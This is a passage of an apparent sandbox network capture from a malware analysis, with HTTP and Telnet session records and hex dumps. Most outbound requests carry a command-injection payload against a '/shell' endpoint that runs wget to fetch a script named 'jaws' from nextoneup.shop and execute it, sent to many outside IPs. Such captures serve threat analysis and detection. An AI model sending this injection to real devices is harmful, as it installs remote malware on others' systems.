e3 81 99 e3 80 82 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 6d 65 73 73 61 67 65 2d 74 78 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e e3 83 bb e6 99 82 e9 96 93 e3 82 92 e7 bd ae e3 81 84 e3 81 a6 e5 86 8d e5 ba a6 e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 97 e3 81 a6 e3 81 bf e3 81 a6 e3 81 8f e3 81 a0 e3 81 95 e3 81 84 e3 80 82 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e e3 83 bb e5 a4 96 e9 83 a8 e3 81 8b e3 82 89 e3 81 ae e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 8c e7 a6 81 e6 ad a2 e3 81 95 e3 82 8c e3 81 a6 e3 81 84 e3 82 8b e5 a0 b4 e5 90 88 e3 81 8c e3 81 82 e3 82 8a e3 81 be e3 81 99 e3 80 82 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 7a 65 6e 6c 6f 67 69 63 2e 6a 70 2f 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 7a 65 6e 6c 6f 67 Data Ascii: <!DOCTYPE html><html><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title> 403 Forbidden </title> <link rel="stylesheet" href="/zenlogic_pages/css/default.css"></head><body> <div id="header"> </div> <div id="cotnents"> <div class="contents-inner"> <div class="code-block"> <h1>403</h1> <p>ERROR</p> </div> <p class="message-heading"></p> <ul class="message-txt"> <li></li> <li></li> </ul> </div> </div> <p class="center"><a href="http://zenlogic.jp/"><img src="/zenlog
Apr 14, 2024 04:01:49.602471113 CEST	117	IN	Data Raw: 69 63 5f 70 61 67 65 73 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 77 69 64 74 68 3d 22 38 35 22 20 61 6c 74 3d 22 7a 65 6e 6c 6f 67 69 63 22 3e 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 2d 77 69 6e 64 6f 77 2d 77 22 3e 3c 2f 69 3e 3c 2f Data Ascii: ic_pages/images/logo.png" width="85" alt="zenlogic"><i class="ico-window-w"></i></a></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2216	192.168.2.13	38184	154.212.222.199	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.333830118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.646389961 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:49 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2217	192.168.2.13	60972	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.346775055 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:52Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2218	192.168.2.13	50924	104.21.58.38	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.372231007 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2219	192.168.2.13	45338	54.189.245.215	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.397702932 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2220	192.168.2.13	46398	50.87.191.161	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.401864052 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.652156115 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.856478930 CEST	616	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:49 GMT Server: Apache Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 296 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2221	192.168.2.13	42882	13.224.85.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.638046980 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.952912092 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:49 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2222	192.168.2.13	59388	46.242.239.155	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.658287048 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2223	192.168.2.13	41678	43.251.220.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.957323074 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.396079063 CEST	533	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Sun, 14 Apr 2024 07:22:25 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2224	192.168.2.13	48918	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.966975927 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2225	192.168.2.13	32786	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.017096043 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:52Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2226	192.168.2.13	38248	154.212.222.199	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.100126028 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.424285889 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:50 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2227	192.168.2.13	57304	34.36.243.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.543351889 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2228	192.168.2.13	41156	147.182.173.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.611429930 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.878236055 CEST	1289	IN	HTTP/1.0 404 Not Found Date: Sun, 14 Apr 2024 02:01:50 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-cache, private Content-Length: 6609 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 73 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 75 6e 69 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 38 2e 30 2e 31 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 68 74 6d 6c 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 63 6f 64 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 79 73 74 65 6d 2d 75 69 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 2a 2c 3a 61 66 74 65 72 2c 3a 62 65 66 6f 72 65 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 72 64 65 72 3a 30 20 73 6f 6c 69 64 20 23 65 32 65 38 66 30 7d 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 69 6e 68 65 72 69 74 7d 63 6f 64 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 2c 43 6f 75 72 69 65 72 20 4e 65 77 2c 6d 6f 6e 6f 73 70 61 63 65 7d 73 76 67 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Not Found</title> ... Fonts --> <link rel="preconnect" href="https://fonts.gstatic.com"> <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet"> <style> /! normalize.css v8.0.1 \| MIT License \| github.com/necolas/normalize.css /html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}svg,video{display:block;vertical-align
Apr 14, 2024 04:01:50.878329992 CEST	1289	IN	Data Raw: 3a 6d 69 64 64 6c 65 7d 76 69 64 65 6f 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 62 67 2d 77 68 69 74 65 7b 2d 2d 62 67 2d 6f 70 61 63 69 74 79 3a 31 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 Data Ascii: :middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacit
Apr 14, 2024 04:01:50.878391027 CEST	1289	IN	Data Raw: 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 72 65 6d 7d 2e 70 78 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d Data Ascii: adding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0
Apr 14, 2024 04:01:50.878410101 CEST	1289	IN	Data Raw: 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 74 75 72 6e 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 20 73 70 69 6e 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 Data Ascii: nsform:rotate(1turn)}}@keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@-webkit-keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@keyframes ping{0%{transform:scale(1);opacity:1}75%,to{t
Apr 14, 2024 04:01:50.878427982 CEST	1289	IN	Data Raw: 69 67 68 74 3a 31 2e 35 72 65 6d 7d 2e 73 6d 5c 3a 70 74 2d 30 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 2e 73 6d 5c 3a 74 65 78 74 2d 6c 65 66 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 6d 5c 3a 74 65 78 74 2d 72 69 67 68 74 Data Ascii: ight:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(
Apr 14, 2024 04:01:50.878447056 CEST	446	IN	Data Raw: 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 70 74 2d 38 20 73 6d 3a 6a 75 73 74 69 66 79 2d 73 74 61 72 74 20 73 6d 3a 70 74 2d 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: ass="flex items-center pt-8 sm:justify-start sm:pt-0"> <div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider"> 404 </div> <div class="

Session ID	Source IP	Source Port	Destination IP	Destination Port
2229	192.168.2.13	48974	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.638279915 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:38Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2230	192.168.2.13	32834	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:50.673983097 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:53Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2231	192.168.2.13	52126	186.128.162.147	80

Timestamp	Bytes transferred	Direction	Data
